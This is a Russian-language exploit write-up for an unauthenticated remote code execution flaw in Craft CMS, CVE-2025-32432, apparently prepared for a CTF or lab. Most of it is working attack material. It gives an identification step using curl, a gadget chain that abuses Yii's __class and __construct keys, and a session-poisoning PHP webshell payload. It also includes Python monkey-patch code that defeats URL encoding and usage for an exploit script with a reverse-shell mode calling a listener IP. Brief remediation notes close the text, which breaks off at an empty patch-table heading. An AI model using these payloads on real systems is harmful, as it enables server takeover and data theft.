CVE-2025-32432 — Craft CMS <= 5.6.16 Неаутентифицированное RCE

Критичность: Критическая (CVSS 10.0) Требуется аутентификация: Нет Затронуто: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Исправлено в: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50

---

Идентификация (Как подтвердить уязвимость цели)

Перед эксплуатацией убедитесь, что цель использует уязвимую версию Craft CMS.

Шаг 1 — Определение версии Craft CMS

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

Шаг 2 — Проверка уязвимой конечной точки (проверка анонимного доступа)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'

• HTTP 400 = конечная точка существует (Craft запущен), CSRF отсутствует
• HTTP 404 = не Craft или неверный путь
• HTTP 500 = гаджет сработал (assetId валиден, конечная точка доступна)

Шаг 3 — Подтверждение сканированием assetId

python3 exploit.py -u http://target/cms -c "id"

Если вывод содержит uid=, цель подтверждена как уязвимая, и RCE достигнуто.

---

Первопричина

AssetsController::actionGenerateTransform() объявлен как allowAnonymous, что делает его доступным без аутентификации. Он передаёт контролируемый пользователем параметр handle напрямую в Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

DI-контейнер Yii обрабатывает два специальных ключа массива без какого-либо белого списка:

Ключ	Поведение
__class	Создать экземпляр этого класса вместо объявленного типа
__construct()	Передать эти значения в качестве аргументов конструктора

Цепочка гаджетов:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

Отравление файла сессии замыкает цепочку: PHP сохраняет GET-параметры дословно в /tmp/sess_<CraftSessionId>. Размещение <?=shell_exec($_GET['cmd']);exit;?> там даёт RCE.

---

Почему существующие публичные PoC не работают

1. URL-кодирование уничтожает PHP-полезную нагрузку

Корневая проблема: Python requests кодирует <, >, ?, = перед отправкой. Обработчик сессий PHP сохраняет процентно-кодированные байты — а не исполняемый PHP.

Закодированная полезная нагрузка (СЛОМАНО — что requests фактически отправляет по сети)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Файл сессии сохраняет:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP видит обычную строку — без PHP-тегов — ничего не выполняется.

Незакодированная полезная нагрузка (ИСПРАВЛЕНО — что мы отправляем после monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Файл сессии сохраняет:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# При require() PHP выполняет shell_exec и возвращает вывод.

Исправление: Monkey-patch HTTPConnectionPool._make_request — последняя точка перед TCP — и вызов urllib.parse.unquote() там:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Неверное имя cookie сессии

Стандарт: Cookie сессии PHP по умолчанию — PHPSESSID. Craft CMS переопределяет это в конфигурации приложения:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

Это означает, что файл сессии на диске — /tmp/sess_<CraftSessionId>, а не /tmp/sess_<PHPSESSID>.

Сравнение cookie

Свойство	PHP по умолчанию	Craft CMS
Имя cookie	PHPSESSID	CraftSessionId
Файл сессии	/tmp/sess_abc123	/tmp/sess_abc123
Как читать	session.cookies.get("PHPSESSID")	session.cookies.get("CraftSessionId")
Что происходит при ошибке	Возвращается None	Путь itemFile указывает на несуществующий файл
Результат	эксплойт тихо проваливается	нет ошибки — require() просто не срабатывает

# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

Вы можете проверить правильное имя cookie, изучив DevTools браузера после посещения любой страницы Craft, или проверив заголовок ответа Set-Cookie:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. Отсутствующий CSRF-токен в триггерном запросе

Craft проверяет CSRF-токены для всех неанонимных POST-действий. Пропуск токена вызывает 400 Bad Request.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Таблица сравнения

Проблема	PoC с отравлением логов	Сессия (неверный cookie)	Сессия (без CSRF)	Этот PoC
URL-кодирование	Н/Д (User-Agent)	СЛОМАНО	СЛОМАНО	ИСПРАВЛЕНО monkey-patched
Имя cookie	Н/Д	СЛОМАНО PHPSESSID	СЛОМАНО PHPSESSID	ИСПРАВЛЕНО CraftSessionId
CSRF при триггере	OK	OK	СЛОМАНО	ИСПРАВЛЕНО
Устаревший log exit;	СЛОМАНО	Н/Д	Н/Д	Н/Д
Работает с префиксом /cms	СЛОМАНО	СЛОМАНО	СЛОМАНО	ИСПРАВЛЕНО

---

Использование

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)

python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

---

Устранение

Действие	Детали
Обновить Craft CMS	3.9.15 / 4.14.15 / 5.6.17 проверяет, что handle реализует ImageTransformerInterface
Обновить Yii2	2.0.50 блокирует инъекцию __class в Component::__set
Правило WAF	Блокировать __class или __construct() в теле запроса к /actions/assets/generate-transform

---

Исправление / Митигация (Операционное руководство Blue Team)

Таблица патчей